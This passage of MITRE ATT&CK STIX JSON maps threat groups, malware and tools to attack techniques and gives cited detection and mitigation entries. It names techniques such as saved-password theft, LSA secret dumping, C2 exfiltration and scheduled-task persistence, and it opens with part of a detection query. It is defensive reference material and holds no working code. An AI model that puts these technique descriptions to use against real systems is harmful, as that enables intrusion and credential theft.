AND IPAddress!=\"expected_ip\"\n| table Time, ActorPrincipalName, IPAddress, Target1UserPrincipalName, Target1DisplayName","relationship_type":"detects","source_ref":"x-mitre-data-component--deb22295-7e37-4a3b-ac6f-c86666fbe63d","target_ref":"attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2caa19fb-fe02-4365-b53a-1ff554a13889","created":"2022-09-07T13:51:23.961Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-21T15:05:31.974Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors collected information via [Empire](https://attack.mitre.org/software/S0363), which was automatically sent back to the adversary's C2.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2cac54a6-fe28-45b2-b4f7-53a23f8a5f54","created":"2023-03-27T18:06:31.509Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-27T18:06:31.509Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) stole users' saved passwords from Chrome.(Citation: CrowdStrike StellarParticle January 2022)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2cac6e77-7575-4f8f-89f4-e03b400257bb","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Monitor for unexpected files with manipulated data in order to manipulate external outcomes or hide activity","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2cae8d8d-e0de-4793-9acf-d21508189bf9","type":"relationship","created":"2020-07-17T17:34:21.496Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T15:22:30.401Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can use the ITaskService, ITaskDefinition and ITaskSettings COM interfaces to schedule a task.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2cb6835c-e6e6-46d5-b5d2-45846eac3b74","type":"relationship","created":"2021-09-27T20:37:38.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Qakbot May 2020","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021."},{"source_name":"Crowdstrike Qakbot October 2020","url":"https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/","description":"CS. (2020, October 7). Duck Hunting with Falcon Complete: A Fowl Banking Trojan Evolves, Part 2. Retrieved September 27, 2021."},{"source_name":"Trend Micro Qakbot December 2020","url":"https://success.trendmicro.com/solution/000283381","description":"Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021."},{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021."}],"modified":"2021-09-30T15:45:57.750Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can maintain persistence by creating an auto-run Registry key.(Citation: Trend Micro Qakbot May 2020)(Citation: Crowdstrike Qakbot October 2020)(Citation: Trend Micro Qakbot December 2020)(Citation: Group IB Ransomware September 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2cbaf5dd-8b53-427f-ae00-9cda47125d5b","type":"relationship","created":"2021-01-14T20:28:31.227Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Pawn Storm Dec 2020","url":"https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html","description":"Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."}],"modified":"2021-01-14T20:28:31.227Z","description":"[APT28](https://attack.mitre.org/groups/G0007) can exfiltrate data over Google Drive.(Citation: TrendMicro Pawn Storm Dec 2020) ","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2cc2c087-e567-462a-80e6-059fd1276199","type":"relationship","created":"2020-08-25T20:11:53.082Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA/FBI Drovorub August 2020","url":"https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF","description":"NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}],"modified":"2020-08-25T20:11:53.082Z","description":"[Drovorub](https://attack.mitre.org/software/S0502) can use kernel modules to establish persistence.(Citation: NSA/FBI Drovorub August 2020)","relationship_type":"uses","source_ref":"malware--99164b38-1775-40bc-b77b-a2373b14540a","target_ref":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2cc2c5ca-7c7a-4ab7-9cb3-76bdd14324b8","type":"relationship","created":"2021-04-13T20:27:51.993Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Avira Mustang Panda January 2020","url":"https://www.avira.com/en/blog/new-wave-of-plugx-targets-hong-kong","description":"Hamzeloofard, S. (2020, January 31). New wave of PlugX targets Hong Kong | Avira Blog. Retrieved April 13, 2021."}],"modified":"2021-04-19T17:52:40.888Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used netstat -ano to determine network connection information.(Citation: Avira Mustang Panda January 2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2cc576f4-9d7d-47e4-a6c5-a6910f8b5b62","created":"2022-06-02T14:55:26.645Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has used brute force attacks to compromise valid credentials.(Citation: SecureWorks August 2019)","modified":"2022-06-02T14:55:26.645Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2cc7c10f-45a7-4573-b75e-ad15b11fb813","created":"2024-08-20T18:21:43.428Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-30T17:55:08.555Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) leveraged SHARPIVORY, a .NET dropper that writes embedded payload to disk and uses scheduled tasks to persist on victim machines.(Citation: mandiant_apt44_unearthing_sandworm)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2cc93cb7-fbe6-4c79-b619-a2eb877de1cf","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"PWC Cloud Hopper April 2017","url":"https://web.archive.org/web/20220224041316/https:/www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017."},{"source_name":"District Court of NY APT10 Indictment December 2018","url":"https://www.justice.gov/opa/page/file/1122671/download","description":"US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[menuPass](https://attack.mitre.org/groups/G0045) has installed updates and new malware on victims.(Citation: PWC Cloud Hopper April 2017)(Citation: District Court of NY APT10 Indictment December 2018)","modified":"2022-07-20T20:07:40.174Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ccf654b-1077-4277-9a24-099fb3bf095f","type":"relationship","created":"2019-01-30T17:13:11.828Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.","url":"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf","source_name":"ClearSky MuddyWater Nov 2018"}],"modified":"2020-03-18T15:36:10.526Z","description":"[POWERSTATS](https://attack.mitre.org/software/S0223) has created a scheduled task named \"MicrosoftEdge\" to establish persistence.(Citation: ClearSky MuddyWater Nov 2018)","relationship_type":"uses","source_ref":"malware--e8545794-b98c-492b-a5b3-4b5a02682e37","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2cd211b1-c499-44e7-ae68-1d3def444b2f","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. ","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2cd5235f-1f0b-4f58-a931-d3b940b62cbf","type":"relationship","created":"2020-12-01T14:44:51.171Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."},{"source_name":"CrowdStrike Wizard Spider October 2020","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."}],"modified":"2021-06-15T14:40:26.146Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can execute a PowerShell script received from C2.(Citation: NCC Group Team9 June 2020)(Citation: CrowdStrike Wizard Spider October 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2cd69fd0-d5ad-41db-aaee-fd58e46bfaaa","type":"relationship","created":"2020-04-28T13:48:00.660Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT41 March 2020","url":"https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html","description":"Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020."}],"modified":"2020-04-28T13:48:00.660Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used exploit payloads that initiate download via [ftp](https://attack.mitre.org/software/S0095).(Citation: FireEye APT41 March 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2cd6c27b-a9c9-4223-885b-75084791d71a","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor for contextual data about an Internet-facing resource gathered from a scan, such as running services or ports that may buy, lease, or rent infrastructure that can be used during targeting. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","source_ref":"x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2ce2f87e-527d-4bc1-9ba1-79ade0a4db59","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"Alperovitch 2014","url":"https://web.archive.org/web/20200424075623/https:/www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/","description":"Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: Alperovitch 2014)","modified":"2022-07-20T20:10:29.596Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","target_ref":"tool--b77b563c-34bb-4fb8-86a3-3694338f7b47","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2cea4c8c-4b22-4656-8e4e-fc52555f7b22","created":"2023-09-29T15:28:43.010Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T15:28:43.010Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--887274fc-2d63-4bdc-82f3-fae56d1d5fdc","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2cf01fbd-c940-4152-8173-bae63f37aedd","created":"2022-09-07T13:43:37.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos Frankenstein June 2019","description":"Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.","url":"https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T19:34:07.271Z","description":"During [Frankenstein](https://attack.mitre.org/campaigns/C0001) the threat actors used [Empire](https://attack.mitre.org/software/S0363) for discovery.(Citation: Talos Frankenstein June 2019)","relationship_type":"uses","source_ref":"campaign--26d9ebae-de59-427f-ae9a-349456bae4b1","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2cf3d3a5-85ab-43d9-8462-684469f79c6a","type":"relationship","created":"2020-03-14T23:29:19.766Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-14T23:29:19.766Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2cf7243f-d5d7-473b-9cb7-27c7186565d3","type":"relationship","created":"2020-03-09T13:41:14.474Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-27T13:51:59.110Z","description":"Where possible, only permit execution of signed scripts.","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2cf91706-674a-4ae0-8a4c-0d8d43eb6e1a","created":"2022-02-08T16:11:38.674Z","x_mitre_version":"1.0","external_references":[{"source_name":"Peirates GitHub","url":"https://github.com/inguardians/peirates","description":"InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Peirates](https://attack.mitre.org/software/S0683) can dump the contents of AWS S3 buckets. It can also retrieve service account tokens from kOps buckets in Google Cloud Storage or S3.(Citation: Peirates GitHub)","modified":"2022-04-14T20:59:18.165Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--79dd477a-8226-4b3d-ad15-28623675f221","target_ref":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2cf95c9b-01d0-4300-b635-be63399da755","created":"2024-09-25T13:16:14.794Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T13:16:14.794Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--1001e0d6-ee09-4dfc-aa90-e9320ffc8fe4","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2cfa6113-1995-494a-b767-61d3f371e0ea","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Baumgartner Naikon 2015","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}],"modified":"2020-03-18T23:13:31.476Z","description":"[Sys10](https://attack.mitre.org/software/S0060) collects the group name of the logged-in user and sends it to the C2.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--7f8730af-f683-423f-9ee1-5f6875a80481","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2cfab77c-89d8-4e95-9ef9-43e0a77c5e4d","type":"relationship","created":"2020-11-09T16:28:37.649Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-11-09T16:28:37.649Z","description":"[Astaroth](https://attack.mitre.org/software/S0373) can check for Windows product ID's used by sandboxes and usernames and disk serial numbers associated with analyst environments.(Citation: Securelist Brazilian Banking Malware July 2020)","relationship_type":"uses","source_ref":"malware--edb24a93-1f7a-4bbf-a738-1397a14662c6","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2cfb6d2b-5a32-4ff9-9eb8-83a051eaff0d","created":"2024-08-22T20:45:19.101Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-22T20:52:15.006Z","description":"\n[Cuckoo Stealer](https://attack.mitre.org/software/S1153) has the ability to search systems for installed applications.(Citation: Kandji Cuckoo April 2024)","relationship_type":"uses","source_ref":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d0510d6-765b-4352-8ddc-36556831215b","type":"relationship","created":"2020-03-18T00:18:58.684Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fysbis Dr Web Analysis","description":"Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.","url":"https://vms.drweb.com/virus/?i=4276269"}],"modified":"2020-03-18T00:18:58.684Z","description":"[Fysbis](https://attack.mitre.org/software/S0410) has masqueraded as the rsyncd and dbus-inotifier services.(Citation: Fysbis Dr Web Analysis)","relationship_type":"uses","source_ref":"malware--50d6688b-0985-4f3d-8cbe-0c796b30703b","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2d063a40-dbba-458f-897d-2b756a2591b1","type":"relationship","created":"2020-03-19T22:58:42.680Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.truesec.se/sakerhet/verktyg/saakerhet/gsecdump_v2.0b5","description":"TrueSec. (n.d.). gsecdump v2.0b5. Retrieved September 29, 2015.","source_name":"TrueSec Gsecdump"}],"modified":"2020-03-19T22:58:42.680Z","description":"[gsecdump](https://attack.mitre.org/software/S0008) can dump LSA secrets.(Citation: TrueSec 